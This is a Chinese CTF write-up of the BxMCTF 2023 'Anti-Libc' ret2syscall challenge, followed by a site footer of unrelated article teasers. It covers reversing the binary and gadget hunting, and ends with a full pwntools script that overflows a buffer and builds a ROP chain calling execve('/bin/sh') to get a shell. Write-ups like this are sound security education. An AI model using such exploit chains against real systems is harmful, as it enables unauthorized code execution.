CTF-栈溢出-基本ROP-【ret2syscall】

news2024/11/17 13:50:18

文章目录

  • ret2syscall
  • BxMCTF 2023 Anti-Libc
    • main
    • write_buf
    • flush_obuf
    • readint
    • read_buf
  • 思路
  • exp

ret2syscall

即控制程序执行系统调用,获取 shell。

BxMCTF 2023 Anti-Libc

main

在这里插入图片描述

write_buf

写入字符的,待会输出
在这里插入图片描述

flush_obuf

把字符输出到屏幕
在这里插入图片描述

readint

输入要接下来要输入的数的长度,正负号会相应的判断和跳转
在这里插入图片描述

read_buf

如果发现start和end相同时,重写输入,否则返回输入的数据所在数组的一个start位置所在的字节
这里的sys_read存在很明显的溢出
在这里插入图片描述

思路

不是我说,这坨shit真的绕(我太菜了)
shit之处在于汇编的源码最后的那个循环中有个inc r10,然后IDA没有,直接原地继续赋值EMMMMMMMM
在这里插入图片描述
在这里插入图片描述
发现这个bug后题目就轻松很多了

查看文件静态链接
在这里插入图片描述
查看保护(不符合老外的出题特色了都)
在这里插入图片描述
肯定溢出构造ROP链嘛,然后系统调用嘛

32位和64位的syscall原理都是一样
只有传参和调用存在差异,以下一起说,做个对比
32位系统调用使用 " int 80h "
64位系统调用使用 " syscall " (汇编代码就是syscall 直接ROPgadget–only查找即可)
32的系统调用号与64位的不大一样 使用的时候最好百度一下
比如
32位 #define __NR_execve 11
64位 #define __NR_execve 59
32位的系统调用号放在eax 传参依次是 EBX、ECX、EDX、ESI、EDI、EBP
64位的系统调用号放在rax 传参依次是 RDI、RSI、RDX、R10、R8、R9 (和64位函数传参一样)

首先找rdi嘛
在这里插入图片描述
0x0000000000401135入选
看看 jmp 0x401106
在这里插入图片描述
有ret但是esi的值会减1,rdi的值会加1
emmm但会构造一下应该就好了
rax试试
在这里插入图片描述
寄了
eax试试
在这里插入图片描述
寄了
ax
在这里插入图片描述
寄了
al
在这里插入图片描述
也寄了
只能反汇编了找了

在这里插入图片描述
找到了
在这里插入图片描述
看看对应位置的汇编代码
在这里插入图片描述
发现需要构造%ebx寄存器
正好下面有一个
在这里插入图片描述
美哉 美哉
那最后咋调用系统调用呢?
发现这里有个move %rbp %rsp,那么如果之前存储的rbp合适的话,那么可以继续ROP,rbp应该为在syscall调用前的前十六个字节,因为还要有pop rbp和pop rbx得抵消掉

exp

很shit的一点是。。。忘记两次sendline如果时间过短会被程序当作一次性接受了

from pwn import *
#context(os="linux",arch="amd64",log_level="debug")
e = ELF("./main")
p = process("./main")
#p = gdb.attach(p, "b*main")
offset = 64  
input_buf = 0x402020
onemore = b"\x00"
BIN_SH = b"/bin/sh\x00"
EVIL = onemore + BIN_SH 
DUMMY_RBP = p64(1)  #随便填
DUMMY_RBX = p64(1)  #随便填
SYSCALL = p64(0x401055)
EVIL_ADDRESS = input_buf +len(DUMMY_RBP + DUMMY_RBX + SYSCALL)#作为rdi
POP_RSI_RDI = p64(0x401135)  # pop rsi ; pop rdi ; jmp 0x401106
POP_RBX = p64(0x40109C)
MOV_EBX_EAX = p64(
    0x40108D
)  # mov %ebx,%eax ; neg %ebx; cmpb $0x1,(%rsp); cmove %ebx,%eax ; mov %rbp,%rsp ; pop %rbp ; pop %rbx; ret
RSI = p64(1)
RDI = p64(EVIL_ADDRESS)
RBX = p64(0x3B)  # it'll go into RAX which is needed for correct syscall
RBP = p64(input_buf)  # 最后的MOV_EBX_EAX这个地方最后有mov %rbp,%rsp ; pop %rbp ; pop %rbx; ret从而可以执行系统调用


payload = DUMMY_RBP + DUMMY_RBX + SYSCALL + EVIL
padding = b"A" * (offset - len(DUMMY_RBP + DUMMY_RBX + SYSCALL + EVIL))
payload += padding + RBP + POP_RSI_RDI + RSI + RDI
payload += POP_RBX + RBX + MOV_EBX_EAX
print(len(payload))
print(p.recvuntil("input? "))
p.sendline(str(len(payload)))
sleep(3)   # 防止间隔时间太多被当作一次性发过去了
p.sendline(payload)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1233996.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

集群创建(flannel)时候,没有自动创建出cni0网卡

给旧的集群加入四台新的服务器启动时候发现都是正常的,但是pod通信报错 集群通信失败,第一时刻想看看是不是cni0和flannel.1的网段是不是通的,点进去一看发现cni0网卡没有生成。 部署是通过kubeadm方式部署的集群,目前有两种解决…

mysql8 group by出错:this is incompatible with sql_mode=only_full_group_by

第一步:先检查自己windows电脑上有没有my.ini文件,没有则创建一个my.ini 第二步:将下面内容复制进入my.ini保存,重启Mysql即可 [mysqld] sql_modeSTRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,…

请求的接口响应状态为已取消的原因

有趣的iframe问题 今天遇到一个问题,当点击了按钮----跳转页面时----F12键点击网络中的状态报了已取消,类型是 document说明是前端页面的问题,如果是xhr那可能是接口的问题。 原本是写了3个iframe,页面刷新的时候请求了第一个iframe,然后就…

android生成jks文件

jks文件用来校验微信支付 生成的方法:

论文《A recurrent latent variable model for sequential data》笔记:详解VRNN

A recurrent latent variable model for sequential data 背景 1 通过循环神经网络的序列建模 循环神经网络(RNN)可以接收一个可变长度的序列 x ( x 1 , x 2 , . . . , x T ) x (x_1, x_2, ..., x_T) x(x1​,x2​,...,xT​)作为输入,并通…

install安装路径设定

因为安装路径的前缀 CMAKE_INSTALL_PREFIX 都在外面都写了。 所以在具体的dll 在安装时,就写相对路径就行了。

基于51单片机交通灯仿真_紧急开关+黄灯倒计时+可调时间(proteus+代码+报告+讲解视频)

基于51单片机交通灯_紧急开关黄灯倒计时可调时间 ☑️开题报告☑️仿真图(提供源文件):☑️系统硬件设计☑️主控制器选择☑️系统硬件结构图☑️时钟及复位电路☑️指示灯及倒计时模块 ☑️倒计时模块:☑️程序☑️软件主流程框架…

PPT画饼不能信,那现场连数据生成BI报表呢?

PPT说的天花乱坠,不如真正地看到、体验到BI报表效果,眼见为实!奥威BI大数据分析工具推出的这套BI方案就将真实的BI报表效果搬到了BI选型会议上了,可以让业务人亲自上手体验三步完成BI报表分析的过程。 只需三步,立即生…

对比学习15篇顶会论文及代码合集,2023最新

对比学习(contrastive learning)是现在无监督学习中一种常用的学习机制,它可以在没有标签的数据上进行学习,避免依赖大量标签数据,从而帮助我们更好地理解和利用数据集中的信息,提高模型的性能和表现。 作…

Java 开源重试类 guava-retrying 使用案例

使用背景 需要重复尝试执行某些动作&#xff0c;guava-retrying 提供了成型的重试框架 依赖 <dependency><groupId>com.github.rholder</groupId><artifactId>guava-retrying</artifactId><version>${retrying.version}</version>…

python tkinter 使用

python tkinter 使用 ython可以使用多种GUI库来创建窗口页面&#xff0c;例如Tkinter、PyQt、wxPython等。 本篇文章主要讲述如何使用tkinter。 1&#xff1a;导入 import tkinter as tk这时如果运行的话会提示&#xff1a; ModuleNotFoundError: No module named ‘tkint…

小趴菜教你如何用Python开发手机App..

Python语言虽然很万能&#xff0c;但用它来开发app还是显得有点不对路&#xff0c;因此用Python开发的app应当是作为编码练习、或者自娱自乐所用&#xff0c;加上目前这方面的模块还不是特别成熟&#xff0c;bug比较多&#xff0c;总而言之&#xff0c;劝君莫轻入。 准备工作 …

Rust错误处理机制:优雅地管理错误

大家好&#xff01;我是lincyang。 今天&#xff0c;我们要探讨的是Rust语言中的错误处理机制。 Rust作为一种系统编程语言&#xff0c;对错误处理的重视程度是非常高的。它提供了一套既安全又灵活的机制来处理可能出现的错误。 Rust错误处理的两大类别 在Rust中&#xff0…

酒店品牌纷纷冲击中高端,东呈集团能否“快人一步”?

过去两年酒店行业加速洗牌&#xff0c;“强者恒强”的马太效应正持续凸显。 报告显示&#xff0c;2022年排名前10名的酒店集团分别为锦江国际、华住、首旅如家、格林、东呈集团、尚美数智、亚朵、德胧、逸柏、都市酒店。以上10家酒店集团客房规模在连锁酒店市场占有率为62.36&…

同星智能完成A+轮超亿元融资,国投招商领投

2023年10月&#xff0c;上海同星智能科技有限公司成功完成超亿元A轮融资。本轮融资由国投招商管理的先进制造产业投资基金二期领投&#xff0c;老股东丰年资本超额跟投。 本轮融资将用于产品研发和全球化市场拓展。 同星智能成立于2017年&#xff0c;一直专注于研发国产自主可控…

docker-compose安装harbor

docker-compose安装harbor 环境&#xff1a;centos7 1、安装docker 官方文档 https://docs.docker.com/engine/install/centos/ 1、卸载旧版本 $ sudo yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate …

02【SpringBoot静态处理、错误处理】

目录 一、SpringBoot的WEB开发 1.1 静态资源的处理 1.1.1 静态资源目录 1&#xff09;SpringBoot静态资源处理 2&#xff09;关于静态资源处理的配置 3&#xff09;欢迎页面的处理 4&#xff09;修改SpringBoot资源访问路径 1.1.2 WebJars资源 1.2 注册Servlet三大组件…

渗透实例------2个星期艰难的渗透纪实

2个星期艰难的渗透纪实 kyo327 入侵原因,需删一帖子,目标用www.111.com代替,前期通过初期的网站文件暴力猜解,扫描到robots.txt这个文件,有以下目录。如图1: 图1 再通过对这些文件的访问,从3gadm.php文件的标题栏得到该网站采用的是diy-page8.3的cms,自然可以先用搜索…

动捕设备如何推动线下活动以虚拟主持人创新升级互动形式

随着元宇宙概念兴起&#xff0c;虚拟主持人结合全身动捕设备可以依托大屏、全息等形式直观呈现于线下活动&#xff0c;通过动捕设备实时驱动虚拟主持人&#xff0c;将现实活动场景与虚拟相连接&#xff0c;让活动以科技感、多元化的形式呈现&#xff0c;给活动参与者一种新的视…

Altium Designer学习笔记4

学会添加库。 元器件添加成功。 放置TYPE-C元器件。 绘制网络标识和电源端口&#xff0c;并且添加文字备注。 修改元器件的属性。